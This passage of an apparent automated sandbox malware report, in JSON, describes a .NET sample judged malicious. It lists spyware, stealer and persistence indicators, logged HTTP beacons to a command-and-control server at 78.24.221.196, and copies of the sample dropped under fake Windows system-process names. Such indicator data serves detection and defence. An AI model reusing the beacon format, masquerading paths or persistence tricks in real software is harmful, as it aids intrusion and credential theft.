(GUI) Intel 80386 Mono/.Net assembly for MS Windows\" was dropped at \"%WINDIR%\\System32\\authz\\taskhost.exe\"\n File type \"PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows\" was dropped at \"%WINDIR%\\py\\explorer.exe\"","origin":"Binary File","mitre_attack_id":"T1036","relevance":7,"id":"binary-7","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]}],"incidents":[{"name":"Remote Access","details_count":1,"details":[{"detail":"Hooks internet related APIs"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"name":"Spyware","details_count":2,"details":[{"detail":"Hooks API calls"},{"detail":"Found a string that may be used as part of an injection method"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"name":"Stealer/Phishing","details_count":1,"details":[{"detail":"Found FTP credentials location strings"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"name":"Persistence","details_count":6,"details":[{"detail":"Writes data to a remote process"},{"detail":"Modifies auto-execute functionality by setting/creating a value in the registry"},{"detail":"Spawns a lot of processes"},{"detail":"Creates a fake system process"},{"detail":"Drops executable files to the application program directory (%ProgramData%)"},{"detail":"Tries to modify winlogon helper dll registry key to achieve persistence"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"name":"Fingerprint","details_count":4,"details":[{"detail":"Queries kernel debugger information"},{"detail":"Queries process information"},{"detail":"Queries sensitive IE security settings"},{"detail":"Queries the display settings of system associated file extensions"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"name":"Evasive","details_count":2,"details":[{"detail":"Tries to sleep for a long time (more than two minutes)"},{"detail":"Possibly tries to evade analysis by sleeping many times"}],"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"name":"Spreading","details_count":1,"details":[{"detail":"Opens the MountPointManager (often used to detect additional infection locations)"}],"sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]}]},"activity":{"stats":{"process_count":5,"spawned_processes_count":5,"injected_processes_count":0,"script_calls_count":0,"mutex_created_count":10,"imported_dlls_count":104,"dropped_files_count":0,"extracted_files_count":22,"files_written_count":26,"files_deleted_count":0,"registry_keys_created_count":5,"registry_keys_modified_count":0,"registry_keys_deleted_count":0,"registry_keys_opened_count":0,"registry_keys_queried_count":0,"registry_operations_count":5,"embedded_ips_count":0,"embedded_domains_count":0,"embedded_urls_count":0,"contacted_hosts_count":2,"dns_resolutions_count":0,"contacted_urls_count":8,"http_requests_count":8},"behavior_tags":["windows-server-utility"],"sample_flags":["Multi-Process","Network Traffic","Extracted Files","Launch Failed"],"sandbox_reports":[{"id":"6759ecb09442f711d5090e22","environment_id":120,"environment_description":"Windows 7 64 bit","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["RUS"],"submit_name":"8B744166EECACE320158F4D0F704B13E.exe","analysis_start_time":"2024-12-11T19:49:05+00:00","indicators_count":{"informative":146,"suspicious":45,"malicious":14},"tags":["Multi-Process","Network Traffic","Extracted Files","Launch Failed"],"is_in_unified_schema":true},{"id":"6759ec16197d5645e803bd40","environment_id":110,"environment_description":"Windows 7 32 bit (HWP Support)","state":"SUCCESS","verdict":"malicious","threat_score":100,"contacted_countries":["RUS"],"submit_name":"8B744166EECACE320158F4D0F704B13E.exe","analysis_start_time":"2024-12-11T19:46:31+00:00","indicators_count":{"informative":150,"suspicious":50,"malicious":17},"tags":["Multi-Process","Network Traffic","Extracted Files","Launch Failed"],"is_in_unified_schema":true}],"network_activity":{"contacted_hosts":[{"address":"78.24.221.196","port":80,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"address":"78.24.221.196","port":443,"protocol":"TCP","country":"Russian Federation","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]}],"dns_resolutions":null,"http_requests":[{"host":"78.24.221.196","host_ip":"78.24.221.196:80","url":"/destenyserver/serverWindows.php?qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f","method":"GET","response_code":"301","response_phrase":"Moved Permanently","header":"GET /destenyserver/serverWindows.php?qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&qwnjwOku1jscJ2Ae=5PQaXxIHuhu602wxi7FenmHsd&pyH3Xgyjf9d=S8f HTTP/1.1\nAccept: */*\nContent-Type: application/json\nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.113 Safari/537.36\nHost: 78.24.221.196\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"host":"78.24.221.196","host_ip":"78.24.221.196:80","url":"/destenyserver/serverWindows.php?yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU","method":"GET","response_code":"301","response_phrase":"Moved Permanently","header":"GET /destenyserver/serverWindows.php?yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&yQ3XIlbSUpXqy1hW=xAqVQRf3SN3DgEtr&eLjFvqzMP7WkiU=gUm2mIi8Xe0XiOxko8YWVwYCU HTTP/1.1\nAccept: */*\nContent-Type: text/csv\nUser-Agent: Mozilla/5.0 (PlayStation 4 3.11) AppleWebKit/537.73 (KHTML, like Gecko)\nHost: 78.24.221.196\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"host":"78.24.221.196","host_ip":"78.24.221.196:80","url":"/destenyserver/serverWindows.php?jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE","method":"GET","response_code":"301","response_phrase":"Moved Permanently","header":"GET /destenyserver/serverWindows.php?jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&jGfKEmbisE90cqPDhQ=UrOBgQHKMU4M&TWCJOn7dCnpqOGxnU2JPKS0UF846=ONx2HgFoGz3T3RE HTTP/1.1\nAccept: */*\nContent-Type: text/javascript\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 11_0 like Mac OS X) AppleWebKit/604.1.34 (KHTML, like Gecko) Version/11.0 Mobile/15A5341f Safari/604.1\nHost: 78.24.221.196\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"host":"78.24.221.196","host_ip":"78.24.221.196:80","url":"/destenyserver/serverWindows.php?nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA","method":"GET","response_code":"301","response_phrase":"Moved Permanently","header":"GET /destenyserver/serverWindows.php?nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&nXAxoB4bvRXPKtZ9Zkoglc0Tek=87QcU7BGbiaqdIlE7X6S7aA HTTP/1.1\nAccept: */*\nContent-Type: text/plain\nUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0\nHost: 78.24.221.196\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"host":"78.24.221.196","host_ip":"78.24.221.196:80","url":"/destenyserver/serverWindows.php?Mxue6CLVGWJXnjOYPctWDpBw=LxtVMNfeiSKMyn5o9ijPGopvvx&o8qhw7puPbA3In2FQEMazxsEHcgs=H8jZV1g1vXOJ2qM9o&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&Mxue6CLVGWJXnjOYPctWDpBw=LxtVMNfeiSKMyn5o9ijPGopvvx&o8qhw7puPbA3In2FQEMazxsEHcgs=H8jZV1g1vXOJ2qM9o","method":"GET","response_code":"301","response_phrase":"Moved Permanently","header":"GET /destenyserver/serverWindows.php?Mxue6CLVGWJXnjOYPctWDpBw=LxtVMNfeiSKMyn5o9ijPGopvvx&o8qhw7puPbA3In2FQEMazxsEHcgs=H8jZV1g1vXOJ2qM9o&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&Mxue6CLVGWJXnjOYPctWDpBw=LxtVMNfeiSKMyn5o9ijPGopvvx&o8qhw7puPbA3In2FQEMazxsEHcgs=H8jZV1g1vXOJ2qM9o HTTP/1.1\nAccept: */*\nContent-Type: text/html\nUser-Agent: Mozilla/5.0 (Linux; Android 6.0; HTC One M9 Build/MRA58K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.98 Mobile Safari/537.3\nHost: 78.24.221.196\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"host":"78.24.221.196","host_ip":"78.24.221.196:80","url":"/destenyserver/serverWindows.php?PMXQFP1oMoekms=3nyUG2k8lbWlfUxn7UEJyIAjkN&wRrRQF1kqrRFhoOvysnVUZAhPhi=um&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&PMXQFP1oMoekms=3nyUG2k8lbWlfUxn7UEJyIAjkN&wRrRQF1kqrRFhoOvysnVUZAhPhi=um","method":"GET","response_code":"301","response_phrase":"Moved Permanently","header":"GET /destenyserver/serverWindows.php?PMXQFP1oMoekms=3nyUG2k8lbWlfUxn7UEJyIAjkN&wRrRQF1kqrRFhoOvysnVUZAhPhi=um&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&PMXQFP1oMoekms=3nyUG2k8lbWlfUxn7UEJyIAjkN&wRrRQF1kqrRFhoOvysnVUZAhPhi=um HTTP/1.1\nAccept: */*\nContent-Type: text/csv\nUser-Agent: Mozilla/5.0 (iPhone9,4; U; CPU iPhone OS 10_0_1 like Mac OS X) AppleWebKit/602.1.50 (KHTML, like Gecko) Version/10.0 Mobile/14A403 Safari/602.1\nHost: 78.24.221.196\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"host":"78.24.221.196","host_ip":"78.24.221.196:80","url":"/destenyserver/serverWindows.php?f23Xz=QP68oWY9&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&f23Xz=QP68oWY9","method":"GET","response_code":"301","response_phrase":"Moved Permanently","header":"GET /destenyserver/serverWindows.php?f23Xz=QP68oWY9&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&f23Xz=QP68oWY9 HTTP/1.1\nAccept: */*\nContent-Type: text/csv\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1\nHost: 78.24.221.196\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"host":"78.24.221.196","host_ip":"78.24.221.196:80","url":"/destenyserver/serverWindows.php?8NBC4DV44QGdK8tsm9QUgUm=rFv&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&8NBC4DV44QGdK8tsm9QUgUm=rFv","method":"GET","response_code":"301","response_phrase":"Moved Permanently","header":"GET /destenyserver/serverWindows.php?8NBC4DV44QGdK8tsm9QUgUm=rFv&2c16ab42a9ec431843e9303d0fd9b8ec=7387bad2ace27b916ae009433495f2b4&a5f9089893fb7f884e1a8d017251cf23=gZiFjM5EWY2IjZwEWO5ETYkRGNyI2MkFWO4UmM3QmZxQGZxATNhhjM&8NBC4DV44QGdK8tsm9QUgUm=rFv HTTP/1.1\nAccept: */*\nContent-Type: text/plain\nUser-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 12_0 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0 Mobile/15E148 Safari/604.1\nHost: 78.24.221.196\nConnection: Keep-Alive","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]}]},"process_activity":{"sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}],"processes":[{"pid":3772,"ppid":0,"name":"8B744166EECACE320158F4D0F704B13E.exe","command_line":"","sha256":"aa7a05956ca47e164a10a94d0bdbe01123b84eb01fad5e581e1e72b10d93d5a9","normalized_path":"C:\\8B744166EECACE320158F4D0F704B13E.exe","uid":"00000000-00003772","icon":"$51"},{"pid":4000,"ppid":3772,"name":"mobsync.exe","command_line":"","sha256":"aa7a05956ca47e164a10a94d0bdbe01123b84eb01fad5e581e1e72b10d93d5a9","normalized_path":"%WINDIR%\\System32\\ntdll\\mobsync.exe","parent_uid":"00000000-00003772","uid":"00000000-00004000"},{"pid":5812,"ppid":0,"name":"smss.exe","command_line":"","sha256":"aa7a05956ca47e164a10a94d0bdbe01123b84eb01fad5e581e1e72b10d93d5a9","normalized_path":"%ALLUSERSPROFILE%\\Package Cache\\{410c0ee1-00bb-41b6-9772-e12c2828b02f}\\smss.exe","uid":"00000000-00005812","icon":"$52"},{"pid":3900,"ppid":0,"name":"explorer.exe","command_line":"","sha256":"aa7a05956ca47e164a10a94d0bdbe01123b84eb01fad5e581e1e72b10d93d5a9","normalized_path":"%WINDIR%\\py\\explorer.exe","uid":"00000000-00003900","icon":"$53"},{"pid":1400,"ppid":0,"name":"mobsync.exe","command_line":"","sha256":"aa7a05956ca47e164a10a94d0bdbe01123b84eb01fad5e581e1e72b10d93d5a9","normalized_path":"%WINDIR%\\System32\\ntdll\\mobsync.exe","uid":"00000000-00001400","icon":"$54"}],"all_imported_dlls":["System.Drawing.ni.dll","System.Xml.ni.dll","profapi.dll","propsys.dll","Wldap32.dll","urlmon.dll","api-ms-win-downlevel-advapi32-l1-1-0.dll","iertutil.dll","webio.dll","credssp.dll","IPHLPAPI.DLL","mscoreei.dll","wmiutils.dll","WMINet_Utils.dll","normaliz.dll","userenv.dll","wbemsvc.dll","mscoree.dll","clr.dll","rsaenh.dll","api-ms-win-downlevel-shlwapi-l1-1-0.dll","rasman.dll","WSHTCPIP.DLL","schannel.dll","mscorlib.ni.dll","System.Core.ni.dll","psapi.dll","advapi32.dll","user32.dll","shlwapi.dll","version.dll","uxtheme.dll","clrjit.dll","rtutils.dll","winnsi.dll","rpcrt4.dll","imm32.dll","ucrtbase_clr0400.dll","Microsoft.VisualBasic.ni.dll","System.Configuration.ni.dll","shell32.dll","bcrypt.dll","ntmarta.dll","cryptbase.dll","System.Runtime.Serialization.ni.dll","api-ms-win-downlevel-ole32-l1-1-0.dll","api-ms-win-downlevel-version-l1-1-0.dll","api-ms-win-downlevel-normaliz-l1-1-0.dll","apphelp.dll","winhttp.dll","dhcpcsvc6.dll","ntdll.dll","sspicli.dll","ntdsapi.dll","wship6.dll","KernelBase.dll","lpk.dll","clbcatq.dll","fastprox.dll","wininet.dll","api-ms-win-downlevel-advapi32-l2-1-0.dll","crypt32.dll","ncrypt.dll","vcruntime140_clr0400.dll","System.Windows.Forms.ni.dll","comctl32.dll","msasn1.dll","System.Management.ni.dll","wbemcomn2.dll","RpcRtRemote.dll","msvcrt.dll","usp10.dll","msctf.dll","api-ms-win-core-xstate-l2-1-0.dll","nlssorting.dll","api-ms-win-core-synch-l1-2-0.dll","gdi32.dll","oleaut32.dll","wbemprox.dll","secur32.dll","mscorrc.dll","setupapi.dll","devobj.dll","nsi.dll","fltLib.dll","rpcss.dll","cfgmgr32.dll","mswsock.dll","sechost.dll","cryptsp.dll","api-ms-win-downlevel-user32-l1-1-0.dll","rasapi32.dll","dhcpcsvc.dll","bcryptprimitives.dll","gpapi.dll","kernel32.dll","VxSSL32.dll","ws2_32.dll","ole32.dll","System.ni.dll","fveui.dll","VxSSL64.dll","wuaueng.dll","QAGENTRT.DLL"]},"file_activity":{"dropped_files":null,"extracted_files":[{"name":"smss.exe","sha256":"aa7a05956ca47e164a10a94d0bdbe01123b84eb01fad5e581e1e72b10d93d5a9","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"name":"mobsync.exe","sha256":"aa7a05956ca47e164a10a94d0bdbe01123b84eb01fad5e581e1e72b10d93d5a9","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"name":"explorer.exe","sha256":"aa7a05956ca47e164a10a94d0bdbe01123b84eb01fad5e581e1e72b10d93d5a9","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"name":"explorer.exe.bin","sha256":"aa7a05956ca47e164a10a94d0bdbe01123b84eb01fad5e581e1e72b10d93d5a9","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"name":"smss.exe.bin","sha256":"aa7a05956ca47e164a10a94d0bdbe01123b84eb01fad5e581e1e72b10d93d5a9","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"name":"mobsync.exe.bin","sha256":"aa7a05956ca47e164a10a94d0bdbe01123b84eb01fad5e581e1e72b10d93d5a9","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"name":"69ddcba757bf72f7d36c464c71f42baab150b2b9","sha256":"4ad784ecfe4c207d892bcf69fc2c8c9858e3ed2e9424cb76905f5127e81c16ee","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"name":"2909dfdb85cd34aa41a28c3340d3d9f78c7f71fa","sha256":"b31ca582d632fe6ac5ff4a0106bb352168e425a2c79ad7b81f818b3184eac64c","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"name":"7a0fd90576e08807bde2cc57bcf9854bbce05fe3","sha256":"1a88b38bb5c0563c7befa7a18906ab18febce5c79a55b85265b9dbe7505cd8b9","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"name":"OSPPSVC.exe","sha256":"aa7a05956ca47e164a10a94d0bdbe01123b84eb01fad5e581e1e72b10d93d5a9","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"name":"Idle.exe","sha256":"aa7a05956ca47e164a10a94d0bdbe01123b84eb01fad5e581e1e72b10d93d5a9","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"name":"taskhost.exe","sha256":"aa7a05956ca47e164a10a94d0bdbe01123b84eb01fad5e581e1e72b10d93d5a9","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"name":"spoolsv.exe","sha256":"aa7a05956ca47e164a10a94d0bdbe01123b84eb01fad5e581e1e72b10d93d5a9","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"name":"wininit.exe","sha256":"aa7a05956ca47e164a10a94d0bdbe01123b84eb01fad5e581e1e72b10d93d5a9","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"name":"taskhost.exe.bin","sha256":"aa7a05956ca47e164a10a94d0bdbe01123b84eb01fad5e581e1e72b10d93d5a9","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"name":"wininit.exe.bin","sha256":"aa7a05956ca47e164a10a94d0bdbe01123b84eb01fad5e581e1e72b10d93d5a9","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"name":"OSPPSVC.exe.bin","sha256":"aa7a05956ca47e164a10a94d0bdbe01123b84eb01fad5e581e1e72b10d93d5a9","verdict":"malicious","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"name":"1610b97d3ab4a74cd8ae104b51bea7bfcc5b9c6f","sha256":"c76336b56cc3eb4698246d807da96293c55be4550ed04ff86c6d8639da081438","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"name":"6ccacd8608530fba3a93e87ae2225c7032aa18c1","sha256":"614d2f598fe6924b4394f178b0bece5d0f9fa39c684759e4dccb555948a1d892","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"name":"b75386f1303e64d8139363b71e44ac16341adf4e","sha256":"c2cbe64e6681e9c6f243f4e9fa5f78604150627cd1a21dacb9bb887561526306","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"name":"f3b6ecef712a24f33798f5d2fb3790c3d9b894c4","sha256":"22c568a694e4d3e72755d2812afbdd6d3631f42c7be7e67ef7c9cf8e77226a91","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"name":"560854153607923c4c5f107085a7db67be01f252","sha256":"ee4212aa215937a437b6958736381adc28da6243547f0027e7e35a98396cbb19","verdict":"undetected","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]}],"files_written":[{"path":"\\FileSystem\\Filters\\FltMgrMsg","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"path":"C:\\Users\\%OSUSER%","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"path":"%USERPROFILE%\\AppData\\Roaming","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"path":"%WINDIR%\\System32\\ntdll\\mobsync.exe","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"path":"%WINDIR%\\System32\\ntdll\\2909dfdb85cd34aa41a28c3340d3d9f78c7f71fa","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"path":"%WINDIR%\\py\\explorer.exe","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"path":"%WINDIR%\\py\\7a0fd90576e08807bde2cc57bcf9854bbce05fe3","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"path":"%ALLUSERSPROFILE%\\Package Cache\\{410c0ee1-00bb-41b6-9772-e12c2828b02f}\\smss.exe","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"path":"%ALLUSERSPROFILE%\\Package Cache\\{410c0ee1-00bb-41b6-9772-e12c2828b02f}\\69ddcba757bf72f7d36c464c71f42baab150b2b9","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"path":"%LOCALAPPDATA%\\Microsoft\\Windows\\Caches","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"},{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{E29AC6C2-7037-11DE-816D-806E6F6E6963}","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"path":"\\DEVICE\\NETBT_TCPIP_{AC07BF4D-B150-47EB-A71E-488912826651}","sources":[{"report_type":"sandbox","report_id":"6759ec16197d5645e803bd40"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed\\OSPPSVC.exe","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\osppobjs-spp-plugin-manifest-signed\\1610b97d3ab4a74cd8ae104b51bea7bfcc5b9c6f","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Google\\Temp\\Idle.exe","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"path":"%PROGRAMFILES%\\(x86)\\Google\\Temp\\6ccacd8608530fba3a93e87ae2225c7032aa18c1","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"path":"%WINDIR%\\System32\\authz\\taskhost.exe","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"path":"%WINDIR%\\System32\\authz\\b75386f1303e64d8139363b71e44ac16341adf4e","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"path":"C:\\TorService\\tor\\pluggable_transports\\wininit.exe","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"path":"C:\\TorService\\tor\\pluggable_transports\\560854153607923c4c5f107085a7db67be01f252","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft Shared\\OfficeSoftwareProtectionPlatform\\OSPPOBJS\\OSPPSVC.exe","sources":[{"report_type":"sandbox","report_id":"6759ecb09442f711d5090e22"}]},{"path":"%COMMONPROGRAMFILES%\\Microsoft 